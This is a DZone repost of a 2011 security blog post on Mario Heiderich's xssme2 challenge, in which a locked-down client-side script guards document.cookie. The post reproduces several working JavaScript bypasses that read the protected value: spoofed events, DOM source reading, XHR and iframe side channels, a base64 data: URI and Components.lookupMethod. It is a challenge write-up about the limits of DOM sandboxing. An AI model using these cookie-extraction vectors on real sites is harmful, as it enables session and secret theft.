DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports Events Over 2 million developers have joined DZone. Join Today! Thanks for visiting DZone today,
Edit Profile Manage Email Subscriptions Moderation Admin Console How to Post to DZone Article Submission Guidelines
View Profile
Sign Out
Refcards
Trend Reports
Events
Zones
Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Partner Zones AWS Cloud
by AWS Developer Relations
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Partner Zones
AWS Cloud
by AWS Developer Relations
The Latest "Software Integration: The Intersection of APIs, Microservices, and Cloud-Based Systems" Trend Report
Get the report
  1. DZone
  2. Software Design and Architecture
  3. Security
  4. The Sad State of DOM Security (or how we all ruled Mario's challenge)

The Sad State of DOM Security (or how we all ruled Mario's challenge)

Krzysztof  Kotowicz  user avatar by
Krzysztof Kotowicz
·
Oct. 13, 11 · Interview
Like (0)
Save
Tweet
Share
4.96K Views

Join the DZone community and get the full member experience.

Join For Free

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser. Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

What an event that was!

Mario started with this approach - he prepared a  'firewall' script and below displayed user-supplied HTML without any filtering. But first, only IE9+ and FF6+ were allowed (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down document.cookie, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:

<script>
    document.cookie = '123456-secret-123456'; // my precious
 
    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() {
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };      
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden
 
    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

So we're done, right-o? No! You could spoof the event, call the getter and get the cookie.

	
function b() { return Safe.get(); }
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

Solution? Make sure that the event is not spoofed by using instanceof yet another locked down object. That was also bypassed in many ways (look for event in bypass list), leading to other lockdowns.

I can read!

 

Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:

// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0];
var clone = script.childNodes[0].cloneNode(true);
var ta = document.createElement('textarea'); ta.appendChild(clone);
alert(ta.value.match(/cookie = '(.*?)'/)[1])

and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script containing the precious cookie.

Fix? Disallow a bunch of node reading functions - so even more locks to add.

We're on the web!

Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. XMLHttpRequest. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from responseText.

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}

Solution? Disallow XHR (and all it's other forms). Then this happened:

x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);

 and the challenge moved to the separate domain so that one could not attack via another page which was in same origin. And then hell broke loose.

The great escape

People started to load javascript in iframes. These got quickly disabled:

html.body.innerHTML = x;
for (var i in j = html.querySelectorAll('iframe,object,embed')) {
    try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'}
    catch (e) {}
}

Then Mario took another approach to lockdown and created the separate document, replacing the original to lose even his own origin (a brilliant code btw):

if (document.head.parentNode.id !== 'sanitized') {
    document.write('<plaintext id=test>');
    var test = document.getElementById('test');
    setTimeout(function(){
        var x = test.innerHTML;
        var j = null;
        var html = document.implementation.createHTMLDocument(
            'http://www.w3.org/1999/xhtml', 'html', null
        );
        html.body.innerHTML = x;
        document.write('<!doctype html><html id="sanitized"><head>'
         + document.head.innerHTML + '</head><body>'
         + html.body.innerHTML + '</body></html>');
    },50);
}   

But still, as of now, two bypasses work. Gareth Heyes salty bypass and mine.

Mine is using the data: uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox Components.lookupMethod and gets the original native objects that were supposed to be locked down.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICco
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; // base 64 is: <script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function()
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script> // Gareth - use unlockable Components.lookupMethod alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));

Solution? None for now. I guess the location is going to be locked down to beat my vector, but Salty Bypass looks flawless.

The sad state of DOM security

Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down a single DOM property Mario - one of the best men for this job on the planet - had to:

  • agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)
  • lock down almost everything, including XHR, window, document
  • disallow user interaction
  • disallow reading the contents of the page
  • disallow iframes, object & embeds (so no Youtube movies :( )
  • deal with multiple browser quirks
  • deal with side channels
  • get the challenge on a separate subdomain
  • reload the whole page in new origin

Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(

And yet we all rule

This post though comes as a salute to all you guys involved! We all rule!

  • Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)
  • All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)
  • The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed
  • Javascript rules for making all of this possible
  • and Firefox rules for all its quirky bypasses ;)

From http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html

security

Opinions expressed by DZone contributors are their own.

Popular on DZone

  • Configure Kubernetes Health Checks
  • Demystifying the Infrastructure as Code Landscape
  • Implementing PEG in Java
  • Introduction Garbage Collection Java

Comments

Partner Resources

X

ABOUT US

  • About DZone
  • Send feedback
  • Careers
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 600 Park Offices Drive
  • Suite 300
  • Durham, NC 27709
  • support@dzone.com
  • +1 (919) 678-0300

Let's be friends: